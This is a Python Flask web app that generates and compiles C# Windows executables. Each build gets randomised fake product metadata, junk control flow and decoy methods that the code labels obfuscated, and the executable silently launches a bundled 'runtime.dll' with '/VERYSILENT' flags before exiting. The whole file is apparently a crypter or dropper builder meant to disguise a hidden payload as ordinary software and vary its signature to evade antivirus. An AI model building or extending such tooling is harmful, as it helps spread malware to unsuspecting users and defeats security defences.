import os import random import string import subprocess from flask import Flask, render_template_string, send_file app = Flask(__name__) # Step 1: Define the base C# template without AssemblyCulture base_cs_template = """ using System; using System.Diagnostics; using System.IO; using System.Reflection; [assembly: AssemblyTitle("<>")] [assembly: AssemblyDescription("<<description>>")] [assembly: AssemblyConfiguration("<<configuration>>")] [assembly: AssemblyCompany("<<company>>")] [assembly: AssemblyProduct("<<product>>")] [assembly: AssemblyCopyright("<<copyright>>")] [assembly: AssemblyTrademark("<<trademark>>")] [assembly: AssemblyVersion("<<version>>")] [assembly: AssemblyFileVersion("<<file_version>>")] [assembly: AssemblyInformationalVersion("<<informational_version>>")] class Program { static void Main() { string originalFilePath = Path.Combine(Directory.GetCurrentDirectory(), "runtime.dll"); if (File.Exists(originalFilePath)) { <<control_flow_junk>> Process.Start(new ProcessStartInfo(originalFilePath, "/VERYSILENT /PASSWORD=YourSecurePassword") { UseShellExecute = false }); <<additional_obfuscated_code>> Environment.Exit(0); // Exit immediately } } <<obfuscated_methods>> } """ # Utility functions to generate random text and versions def random_string(length): return ''.join(random.choice(string.ascii_letters) for _ in range(length)) def random_version(): major = random.randint(1, 5) minor = random.randint(0, 9) build = random.randint(0, 99) revision = random.randint(0, 99) return f"{major}.{minor}.{build}.{revision}" # Lists of meaningful words for assembly info titles = ['File Manager', 'Data Analyzer', 'Task Tracker', 'Cloud Backup', 'Image Editor', 'Video Converter'] descriptions = ['This application helps in managing files efficiently.', 'Analyze data with advanced algorithms and insights.', 'Keep track of your tasks and deadlines easily.', 'Backup your data securely to the cloud.', 'Edit your images with powerful tools and filters.', 'Convert videos to various formats quickly.'] companies = ['Tech Innovations', 'Global Solutions', 'Data Services', 'Creative Minds', 'Secure Systems', 'Future Technologies'] trademarks = ['Innovative Solutions', 'Smart Technology', 'NextGen Apps', 'Empowering Users', 'Reliable Services', 'Creative Design'] def generate_control_flow_junk(): conditions = [ "if (DateTime.Now.Day % 2 == 0) { Console.WriteLine(\"Even day\"); }", "for (int i = 0; i < 1; i++) { Console.WriteLine(\"Loop once\"); }", "if (false) { Console.WriteLine(\"This will never happen\"); }", "while (false) { break; }" ] return random.choice(conditions) def generate_obfuscated_methods(): methods = [ f'void {random_string(6)}() {{ Console.WriteLine("{random_string(10)}"); }}', f'int {random_string(6)}() {{ return {random.randint(0, 100)}; }}', f'bool {random_string(6)}() {{ return {random.choice([True, False])}; }}', f'string {random_string(6)}() {{ return "{random_string(12)}"; }}' ] return "\n ".join(random.sample(methods, k=2)) def generate_additional_obfuscated_code(): snippets = [ "#pragma warning disable CS0219\nint unused = 123;\n#pragma warning restore CS0219", "string dummy = \"abc\";", "Console.WriteLine(\"Executing...\");" ] return random.choice(snippets) # Route to display the button and trigger C# script generation @app.route('/') def index(): # HTML embedded directly in the app using render_template_string html_content = """ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Script Generator

Generate and Compile C# Script

""" return render_template_string(html_content) # Other existing code remains unchanged... @app.route('/generate', methods=['POST']) def generate_script(): # Generate the randomized assembly information using meaningful words assembly_info = { 'title': random.choice(titles), 'description': random.choice(descriptions), 'configuration': '', 'company': random.choice(companies), 'product': "MyProduct", 'copyright': f"Copyright © {random.choice(companies)} 2024", 'trademark': random.choice(trademarks), 'version': random_version(), 'file_version': random_version(), 'informational_version': random_version() } # Replace placeholders in the base template modified_cs = base_cs_template.replace('<>', assembly_info['title']) \ .replace('<<description>>', assembly_info['description']) \ .replace('<<configuration>>', assembly_info['configuration']) \ .replace('<<company>>', assembly_info['company']) \ .replace('<<product>>', assembly_info['product']) \ .replace('<<copyright>>', assembly_info['copyright']) \ .replace('<<trademark>>', assembly_info['trademark']) \ .replace('<<version>>', assembly_info['version']) \ .replace('<<file_version>>', assembly_info['file_version']) \ .replace('<<informational_version>>', assembly_info['informational_version']) \ .replace('<<control_flow_junk>>', generate_control_flow_junk()) \ .replace('<<additional_obfuscated_code>>', generate_additional_obfuscated_code()) \ .replace('<<obfuscated_methods>>', generate_obfuscated_methods()) # Generate random file names for the script and executable script_name = random_string(10) + '.cs' # Random name for the C# script exe_name = random_string(10) + '.exe' # Random name for the executable # Save the modified C# script to a file with open(script_name, 'w') as file: file.write(modified_cs) # Use 'csc' compiler (Roslyn) with the right path compile_command = [ '/usr/local/roslyn/Microsoft.Net.Compilers.4.0.1/tools/csc', # Full path to Roslyn's csc '-target:winexe', '-out:' + exe_name, script_name, '-win32icon:app.ico', '-win32manifest:app.manifest' ] # Run the compilation command try: result = subprocess.run(compile_command, capture_output=True, text=True, check=True) except subprocess.CalledProcessError as e: error_message = e.stderr.strip() # Capture the standard error output return f"Compilation failed: {error_message}", 500 except FileNotFoundError: return "Compiler 'csc' not found. Make sure it is installed and in the PATH.", 500 # Provide a link to download the compiled executable return send_file(exe_name, as_attachment=True) # Start the Flask app if __name__ == '__main__': app.run(host='0.0.0.0', port=7860, debug=True)